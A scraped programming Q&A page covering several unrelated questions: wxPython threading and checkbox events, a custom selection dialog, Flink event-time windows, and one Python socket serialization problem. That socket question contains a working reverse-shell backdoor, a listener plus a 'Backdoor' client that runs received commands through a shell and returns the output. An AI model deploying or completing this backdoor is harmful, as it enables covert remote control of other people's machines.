Use a button press to stop file execution - file

I want to have a button that starts execution of a file, and another button that stops execution. The below code does not work, the file continues executing. (The file, in this case, is just a loop that continuously prints out "hello world".) How can I achieve what I want?
import wx, sys
from threading import Thread
import time
class mywxframe(wx.Frame):
def __init__(self):
wx.Frame.__init__(self,None)
pnl = wx.Panel(self)
szr = wx.BoxSizer(wx.VERTICAL)
pnl.SetSizer(szr)
szr2 = self.sizer2(pnl)
szr.Add(szr2, 1, wx.ALL|wx.EXPAND, 10)
log = wx.TextCtrl(pnl, -1, style= wx.TE_MULTILINE, size = (300, -1))
szr.Add(log, 0, wx.ALL, 10)
btn3 = wx.Button(pnl, -1, "Stop")
btn3.Bind(wx.EVT_BUTTON, self.OnStop)
szr.Add(btn3, 0, wx.ALL, 10)
self.CreateStatusBar()
redir = RedirectText(log)
sys.stdout=redir
szr.Fit(self)
self.Show()
def sizer2(self, panel):
sizer = wx.BoxSizer(wx.HORIZONTAL)
self.tc2 = wx.TextCtrl(panel, -1, 'Set Range', size = (100, -1))
btn2 = wx.Button(panel, -1, "OK",)
self.Bind(wx.EVT_BUTTON, self.OnStart, btn2)
sizer.Add(self.tc2, 0, wx.ALL, 10)
sizer.Add(btn2, 0, wx.ALL, 10)
return sizer
def OnStart(self, event):
our_thread = Thread(target = self.WorkerThread)
our_thread.start()
def OnStop(self, event):
self.dead = True
def WorkerThread(self):
self.dead = False
while (not self.dead):
execfile("P:\Computing and networking\Python\Learning programs\hello_world.py")
if self.dead:
break
print "aborting"
class RedirectText(object):
def __init__(self, aWxTextCtrl):
self.out=aWxTextCtrl
def write(self, string):
wx.CallAfter(self.out.WriteText, string)
app = wx.App()
frm = mywxframe()
app.MainLoop()

Your GUI is becoming unresponsive. That means that your long running process is blocking the GUI's main loop. To get this to work, you need to sub-class Thread. Here is a version that worked for me:
import wx, sys
from threading import Thread
import time
class TestThread(Thread):
def __init__(self):
Thread.__init__(self)
self.dead = False
self.start()
def run(self):
while not self.dead:
print "hi"
print "aborted"
class mywxframe(wx.Frame):
def __init__(self):
wx.Frame.__init__(self,None)
pnl = wx.Panel(self)
szr = wx.BoxSizer(wx.VERTICAL)
pnl.SetSizer(szr)
szr2 = self.sizer2(pnl)
szr.Add(szr2, 1, wx.ALL|wx.EXPAND, 10)
log = wx.TextCtrl(pnl, -1, style= wx.TE_MULTILINE, size = (300, -1))
szr.Add(log, 0, wx.ALL, 10)
btn3 = wx.Button(pnl, -1, "Stop")
btn3.Bind(wx.EVT_BUTTON, self.OnStop)
szr.Add(btn3, 0, wx.ALL, 10)
self.CreateStatusBar()
redir = RedirectText(log)
#sys.stdout=redir
szr.Fit(self)
self.Show()
def sizer2(self, panel):
sizer = wx.BoxSizer(wx.HORIZONTAL)
self.tc2 = wx.TextCtrl(panel, -1, 'Set Range', size = (100, -1))
btn2 = wx.Button(panel, -1, "OK",)
self.Bind(wx.EVT_BUTTON, self.OnStart, btn2)
sizer.Add(self.tc2, 0, wx.ALL, 10)
sizer.Add(btn2, 0, wx.ALL, 10)
return sizer
def OnStart(self, event):
self.our_thread = TestThread()
def OnStop(self, event):
self.our_thread.dead = True
class RedirectText(object):
def __init__(self, aWxTextCtrl):
self.out=aWxTextCtrl
def write(self, string):
wx.CallAfter(self.out.WriteText, string)
app = wx.App()
frm = mywxframe()
app.MainLoop()
You may want to check out the following resources for additional information on wxPython and threads:
http://www.blog.pythonlibrary.org/2010/05/22/wxpython-and-threads/
http://wiki.wxpython.org/LongRunningTasks

Related

Socket Serialization Error , a bytes-like object is required, not 'str'

I tried Encoding but is not working can anyone help me with the serialization in python3 a bytes-like object is required, not 'str'
#!/usr/bin/python3
import socket
import json
import pickle
class Listener:
def __init__(self,ip,port):
listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
listener.bind((ip,port))
listener.listen(0)
print("[+] Waiting for Incoming Connection")
self.connection,address = listener.accept()
print(("[+] Got a Connection from " + str(address)))
def serialize_send(self, data):
data_send = json.dumps(data)
return self.connection.send(data_send)
def serialize_receive(self):
json_dataX = ""
while True:
try:
# #json_data = json_data + self.connection.recv(1024)
# data = self.connection.recv(1024).decode("utf-8", errors="ignore")
# json_data = json_data + data
# return json.loads(json_data)
json_data = bytes(json_dataX, 'utf-8')+ self.connection.recv(1024)
return json.loads(json.loads(json_data.decode('utf8')))
except ValueError:
continue
def execute_remotely(self,command):
self.serialize_send(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.serialize_receive()
def run(self):
while True:
comX = input(">> : ")
command = comX.split(" ")
try:
sys_command = str(command[0])
result = self.execute_remotely(sys_command)
except Exception as errorX:
result = errorX
print(result)
my_backdoor = Listener("localhost",1234)
my_backdoor.run()
Client Code
#!/usr/bin/python3
import socket
import subprocess
import json
import pickle
class Backdoor:
def __init__(self,ip,port):
self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.connection.connect(("localhost",1234))
def serialize_send(self,data):
json_data = json.dumps(data)
self.connection.send(json_data)
def serialize_receive(self):
json_dataX = ""
while True:
try:
#conn_Recv = self.connection.recv(1024)
#data = self.connection.recv(1024).decode("utf-8", errors="ignore")
#json_data = json_dataX + data
json_data = bytes(json_dataX, 'utf-8') + self.connection.recv(1024)
return json.loads(json.loads(json_data.decode('utf8')))
except ValueError:
continue
def execute_system_commmand(self,command):
return subprocess.check_output(command,shell=True)
def run(self):
while True:
commandx = self.serialize_receive()
command = commandx
try:
if command[0] == "exit":
self.connection.close()
exit()
else:
command_result = self.execute_system_commmand(command)
except Exception:
command_result = "[-] Unknown Execution."
self.serialize_send(command_result)
my_backdoor = Backdoor("localhost",1234)
my_backdoor.run()

Can't understand the result for the event time group by window

I am using Flink 1.12.0 and have a data collection and use that to try out the event time group window.Following is the full code.
package org.example.sqlexploration
import java.sql.Timestamp
import java.text.SimpleDateFormat
import org.apache.flink.streaming.api.TimeCharacteristic
import org.apache.flink.streaming.api.functions.AssignerWithPunctuatedWatermarks
import org.apache.flink.streaming.api.scala._
import org.apache.flink.streaming.api.watermark.Watermark
import org.apache.flink.table.api.{AnyWithOperations, FieldExpression}
import org.apache.flink.table.api.bridge.scala._
import org.apache.flink.types.Row
import org.example.sqlexploration.Implicits.String2Timestamp
case class MyStock(id: String, event_time: Timestamp, price: Int)
object Implicits {
implicit class String2Timestamp(strDate: String) {
def ts = {
val milli = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(strDate).getTime
new Timestamp(milli)
}
}
}
object Main {
def main(args: Array[String]): Unit = {
val elements = Seq(
MyStock("id1", "2020-01-04 11:36:10".ts, 1),
MyStock("id1", "2020-01-04 11:36:15".ts, 2),
MyStock("id1", "2020-01-04 11:36:13".ts, 4),
MyStock("id1", "2020-01-04 11:36:18".ts, 8),
MyStock("id1", "2020-01-04 11:36:12".ts, 16)
)
val env = StreamExecutionEnvironment.getExecutionEnvironment
env.setParallelism(1)
env.setStreamTimeCharacteristic(TimeCharacteristic.EventTime)
val ds: DataStream[MyStock] = env.fromCollection(elements).assignTimestampsAndWatermarks(new AssignerWithPunctuatedWatermarks[MyStock] {
var max_seen = Long.MinValue
override def checkAndGetNextWatermark(stock: MyStock, l: Long): Watermark = {
val ts = stock.event_time.getTime
if (max_seen < ts) {
max_seen = ts
}
new Watermark(max_seen - 2000) //allow 2 seconds lateness
}
override def extractTimestamp(stock: MyStock, l: Long): Long = stock.event_time.getTime
})
val tenv = StreamTableEnvironment.create(env)
tenv.createTemporaryView("sourceView", ds, $"id", $"price", $"event_time".rowtime() as "rt")
val sql =
"""
select id,
sum(price) as total_price,
tumble_start(rt, interval '2' second) as proc_start,
tumble_end(rt, interval '2' second) as proc_end
from sourceView
group by id, tumble(rt, interval '2' second)
""".stripMargin(' ')
tenv.sqlQuery(sql).toAppendStream[Row].print()
env.execute()
}
}
In my application, I have set parallism to be 1 and use AssignerWithPunctuatedWatermarks implementation allowing 2 seconds lateness. The tumble event time window is 2 seconds interval,
The result output is:
id1,1,2020-01-04T03:36:10,2020-01-04T03:36:12
id1,4,2020-01-04T03:36:12,2020-01-04T03:36:14
id1,2,2020-01-04T03:36:14,2020-01-04T03:36:16
id1,8,2020-01-04T03:36:18,2020-01-04T03:36:20
I don't understand why id1,4,2020-01-04T03:36:12,2020-01-04T03:36:14 is contained in the result.
The event that lead to the above window creation is: MyStock("id1", "2020-01-04 11:36:13".ts, 4) . It is late because the watermark reaches 2020-01-04 11:36:13. Isn't the event excluded when the event time equals to the watermark?

wxPython check box not setting value

So I have a wxPython window I've made that was working fine, until I tried to add a new check box to give the user an option for asymmetry.
import poser
import random
import wx
import wx.py
import wx.aui
scene = poser.Scene()
man = poser.WxAuiManager()
root = man.GetManagedWindow()
fig = scene.CurrentFigure()
allowAsymetric = False
paramList = []
lst = ["Full Body Morphs","All Head/Face", "Face Shape", "Forehead","Eyes", "Ear", "Nose", "Cheek", "Chin/Jaw", "Lips"]
# Our dialog box
class userInput(wx.Frame):
def __init__(self, parent) :
# Call the parent class initialisation method
wx.Frame.__init__(self, parent = parent, pos=wx.Point(675, 323), size=wx.Size(400, 400), style=wx.DEFAULT_FRAME_STYLE, title = "Random Hive")
global lst, allowAsymetric
# Set up the UI
#self.CenterOnScreen(wx.BOTH)
self.panel = wx.Panel(self,id=-1,size=(400,350))
self.panel.SetBackgroundColour("#4B4B4B")
# Checklist
self.lb = wx.CheckListBox(self.panel, -1, (20, 20), (350,200), lst)
#Select All Button
self.SelectALL = wx.Button(self.panel,id=100,pos=(20,260),size=(-1,- 1),label="Select All")
self.SelectALL.SetBackgroundColour("#5D5D5D")
self.SelectALL.SetForegroundColour("#CBCBCB")
self.SelectALL.Bind(wx.EVT_ENTER_WINDOW, self.OnMouseOver)
self.SelectALL.Bind(wx.EVT_LEAVE_WINDOW, self.OnMouseLeave)
self.Bind(wx.EVT_BUTTON, self.OnSelectALL, self.SelectALL)
#Select None Button
self.SelectNONE = wx.Button(self.panel,id=110,pos=(150,260),size=(-1,- 1),label="Select None")
self.SelectNONE.SetBackgroundColour("#5D5D5D")
self.SelectNONE.SetForegroundColour("#CBCBCB")
self.SelectNONE.Bind(wx.EVT_ENTER_WINDOW, self.OnMouseOver)
self.SelectNONE.Bind(wx.EVT_LEAVE_WINDOW, self.OnMouseLeave)
self.Bind(wx.EVT_BUTTON, self.OnSelectNONE, self.SelectNONE)
#Inversion Button
self.SelectINVERT = wx.Button(self.panel,id=120,pos=(275,260),size=(- 1,-1),label="Invert Selection")
self.SelectINVERT.SetBackgroundColour("#5D5D5D")
self.SelectINVERT.SetForegroundColour("#CBCBCB")
self.SelectINVERT.Bind(wx.EVT_ENTER_WINDOW, self.OnMouseOver)
self.SelectINVERT.Bind(wx.EVT_LEAVE_WINDOW, self.OnMouseLeave)
self.Bind(wx.EVT_BUTTON, self.OnSelectINVERT, self.SelectINVERT)
# Cancel button
self.Cancel = wx.Button(self.panel,id=140,pos=(20,310),size=(-1,-1),label="Close")
self.Cancel.SetBackgroundColour("#5D5D5D")
self.Cancel.SetForegroundColour("#CBCBCB")
self.Cancel.Bind(wx.EVT_ENTER_WINDOW, self.OnMouseOver)
self.Cancel.Bind(wx.EVT_LEAVE_WINDOW, self.OnMouseLeave)
self.Cancel.Bind(wx.EVT_BUTTON, self.OnSelectCancel, self.Cancel)
# Ok button
self.OK = wx.Button(self.panel,id=150, pos=(275,310),size=(-1,-1),label="Apply")
self.OK.SetDefault()
self.OK.SetBackgroundColour("#5D5D5D")
self.OK.SetForegroundColour("#CBCBCB")
self.OK.Bind(wx.EVT_ENTER_WINDOW, self.OnMouseOver)
self.OK.Bind(wx.EVT_LEAVE_WINDOW, self.OnMouseLeave)
self.Bind(wx.EVT_BUTTON, self.OnSelectOK, self.OK)
#Undoe Button
self.Undo = wx.Button(self.panel, id = 130, pos = (150,310), size= (-1,-1), label = "Undo Morphs")
self.Undo.SetBackgroundColour("#5D5D5D")
self.Undo.SetForegroundColour("#CBCBCB")
self.Undo.Bind(wx.EVT_ENTER_WINDOW, self.OnMouseOver)
self.Undo.Bind(wx.EVT_LEAVE_WINDOW, self.OnMouseLeave)
self.Bind(wx.EVT_BUTTON, self.OnUndo, self.Undo)
#static text
self.infoLable = wx.StaticText(self.panel, pos = (20,230),label = 'Enter Morph Value')
self.morphNumber = wx.TextCtrl(self.panel, pos = (150,230))
self.asym = wx.CheckBox(self.panel, label='Asymetric', pos=(275, 230))
#asym.SetValue(False)
#asym.Bind(wx.EVT_CHECKBOX, self.AsymetricOn)
self.Bind(wx.EVT_CHECKBOX, self.AsymetricOn, self.asym)
def AsymetricOn(self, event):
sender = event.GetEventObject()
if sender.GetValue() == True:
allowAsymetric = True
else:
allowAsymetric = False
print allowAsymetric
def OnSelectALL(self,event):
i=0
while i < len(lst):
self.lb.Check(i,True)
i=i+1
def OnSelectNONE(self,event):
i=0
while i < len(lst):
self.lb.Check(i,False)
i=i+1
def OnSelectINVERT(self,event):
i=0
while i < len(lst):
if self.lb.IsChecked(i) == True:
action = False
self.lb.Check(i,action)
i=i +1
continue
elif self.lb.IsChecked(i) == False:
action = True
self.lb.Check(i,action)
i=i+1
continue
i=i+1
def OnSelectOK(self,event):
fig.Memorize()
smn = self.morphNumber.GetString(0,self.morphNumber.GetLineLength(0))
try:
mN = float(smn)
print "before function choice asymetric is ", allowAsymetric
functionChoice(self.lb.GetCheckedStrings(), mN)
print "after is it ", allowAsymetric
except:
print 'Enter a morph value'
def OnUndo(self,event):
fig.Reset()
scene.Draw()
def OnSelectCancel(self,event):
#print "Cancel clicked"
self.Destroy()
def OnMouseOver(self,event):
element = event.GetEventObject()
element.SetBackgroundColour("#737373")
event.Skip()
def OnMouseLeave(self,event):
element = event.GetEventObject()
element.SetBackgroundColour("#5D5D5D")
event.Skip()
When the window pops up I can check and uncheck the box just fine, and I get printed out a correct value for allowAsymetry according to what I've clicked like so:
False
True
False
True
But as soon as I click my Ok/Apply button the value is false no matter what the check box shows:
before function choice asymetric is False
in function choice allowAsymetric is False
I can't figure out why the value of allowAsymetric keeps setting back to False.
Sadly your code will not run standalone, so I can't test it but it looks as if you have forgotten to declare global allowAsymetric in def AsymetricOn(self, event):
You can always access a global variable but if you are going to alter its value, you need to declare it as global or the variable simply becomes a local variable.

setting label value on checkbox click event in wxPython

On checkbox click event set label as some text. If we click on Text checkbox it should set the label named abt_Metric as Text Collected.
boxsizer = wx.StaticBoxSizer(sb, wx.VERTICAL)
#adding checkBox
c1 = wx.CheckBox(panel, label="Text")
#c1.SetValue(True)
#abt_Metric= wx.StaticText(panel, label='')
#boxsizer.Add(abt_Metric, flag=wx.LEFT|wx.TOP,border=10)
#result.GetValue()
url_entered.SetForegroundColour(wx.BLUE)
c2 = wx.CheckBox(panel, label="HTML ")
#c2.SetValue(True)
c3 = wx.CheckBox(panel, label="NLP")
#c3.SetValue(True)
boxsizer.Add(c1,flag=wx.LEFT|wx.TOP, border=5)
boxsizer.Add(c2,flag=wx.LEFT, border=5)
boxsizer.Add(c3,flag=wx.LEFT|wx.BOTTOM, border=5)
sizer.Add(boxsizer, pos=(6, 0), span=(1, 5),flag=wx.EXPAND|wx.TOP|wx.LEFT|wx.RIGHT , border=10)
abt_Metric= wx.StaticText(panel, label='')
sizer.Add(abt_Metric, pos=(7, 0), flag=wx.LEFT|wx.TOP,border=10)
Checkbox event handler
c1.Bind(wx.EVT_CHECKBOX, self.OntextMetric(c1),c1)
c2.Bind(wx.EVT_CHECKBOX, self.OntextMetric(c2),c2)
c3.Bind(wx.EVT_CHECKBOX, self.OntextMetric(c3),c3)
Implementation of def OntextMetric(self,e,c)
if c.GetValue() == True:
self.panel.abt_Metric.SetLabel(" Text collected")
elif c.GetValue() == True:
self.panel.abt_Metric.SetLabel("HTML collected")
elif c.GetValue() == True:
self.panel.abt_Metric.SetLabel("NLP Collected")
else:
self.panel.abt_Metric.SetLabel("")
Iam not able to understand your question clearly, but is this what you are looking for?
import wx
import matplotlib
from matplotlib.backends.backend_wxagg import FigureCanvasWxAgg as FigureCanvas
from matplotlib.figure import Figure
class MainFrame(wx.Frame):
def __init__(self):
wx.Frame.__init__(self, None, wx.NewId(), "Main")
panel = wx.Panel(self,1)
#sizer = wx.BoxSizer(wx.HORIZONTAL)
boxsizer = wx.BoxSizer(wx.VERTICAL)
c1 = wx.CheckBox(panel, label="Text")
c2 = wx.CheckBox(panel, label="HTML ")
c3 = wx.CheckBox(panel, label="NLP")
c1.Bind(wx.EVT_CHECKBOX, self.OntextMetric, c1)
c2.Bind(wx.EVT_CHECKBOX, self.OntextMetric,c2)
c3.Bind(wx.EVT_CHECKBOX, self.OntextMetric,c3)
self.abt_Metric= wx.StaticText(panel, label='')
boxsizer.Add(c1,flag=wx.LEFT, border=5)
boxsizer.Add(c2,flag=wx.LEFT, border=5)
boxsizer.Add(c3,flag=wx.LEFT, border=5)
boxsizer.Add(self.abt_Metric, flag = wx.LEFT)
panel.SetSizer(boxsizer)
def OntextMetric(self,event):
if event.IsChecked():
self.abt_Metric.SetLabel(event.GetEventObject().GetLabel() + "collected")
class MyApp(wx.App):
def OnInit(self):
frame = MainFrame()
frame.Show(True)
self.SetTopWindow(frame)
return True
app = MyApp(0)
app.MainLoop()

Creating a custom dialog that allows me to select all files at once or a single file individually

I'm attempting to create a custom dialog in wxPython that mimics the wx.MultiChoiceDialog, yet only differs in allowing a user to select all files with the selection of a single check box. This seemed to be a straight forward process, but I've not had success with the textCntrl, checkboxes, or populating the files. Any and all help and direction is appreciated. Thanks!
Below, is one of my many attempts:
import wx
class Extract_file(wx.Dialog):
def __init__(self, parent, title):
wx.Dialog.__init__(self, parent, title=title, size=(345, 337))
self.control = wx.TextCtrl(self, style=wx.TE_MULTILINE | wx.TE_RICH2)
wx.StaticText(self, -1, 'Files in c:\Extracted', (20,20))
panel = wx.Panel(self)
sizer = wx.BoxSizer(wx.HORIZONTAL)
chbox = wx.CheckBox(panel, -1, 'CheckBox')
sizer.Add(chbox, 0, wx.ALL, 10)
compute_btn = wx.Button(self, 1, 'Okay', (167, 272))
compute_btn.SetFocus()
clear_btn = wx.Button(self, 2, 'Cancel', (247, 272))
wx.EVT_BUTTON(self, 1, self.OnOkay)
wx.EVT_BUTTON(self, 2, self.OnQuit)
self.Centre()
self.ShowModal()
self.Destroy()
def OnOkay(self, event):
#do something
def OnQuit(self, event):
self.Close(True)
if __name__ == '__main__':
app = wx.App(False)
dlog = Extract_file(None, 'File Extraction')
app.MainLoop()
You don't need wx.TextCtrl to make this dialog. MultiChoiceDialog makes use of the control named wx.CheckBoxList. You can get many examples of its use on the net. Here is one more code snippet:
import wx
class MyMCD(wx.Dialog):
def __init__(self, parent, message, caption, choices=[]):
wx.Dialog.__init__(self, parent, -1)
self.SetTitle(caption)
sizer = wx.BoxSizer(wx.VERTICAL)
self.message = wx.StaticText(self, -1, message)
self.clb = wx.CheckListBox(self, -1, choices = choices)
self.chbox = wx.CheckBox(self, -1, 'Select all')
self.btns = self.CreateSeparatedButtonSizer(wx.OK | wx.CANCEL)
self.Bind(wx.EVT_CHECKBOX, self.EvtChBox, self.chbox)
sizer.Add(self.message, 0, wx.ALL | wx.EXPAND, 5)
sizer.Add(self.clb, 1, wx.ALL | wx.EXPAND, 5)
sizer.Add(self.chbox, 0, wx.ALL | wx.EXPAND, 5)
sizer.Add(self.btns, 0, wx.ALL | wx.EXPAND, 5)
self.SetSizer(sizer)
# self.Fit()
def GetSelections(self):
return self.clb.GetChecked()
def EvtChBox(self, event):
state = self.chbox.IsChecked()
for i in range(self.clb.GetCount()):
self.clb.Check(i, state)
if __name__ == '__main__':
l = ['AND', 'OR', 'XOR', 'NOT']
app = wx.PySimpleApp()
dlg = MyMCD(None, 'Choose as many as you wish', 'MCD Title', choices = l)
if dlg.ShowModal() == wx.ID_OK:
result = dlg.GetSelections()
wx.MessageBox(str(result) + ' were chosen')
dlg.Destroy()

Resources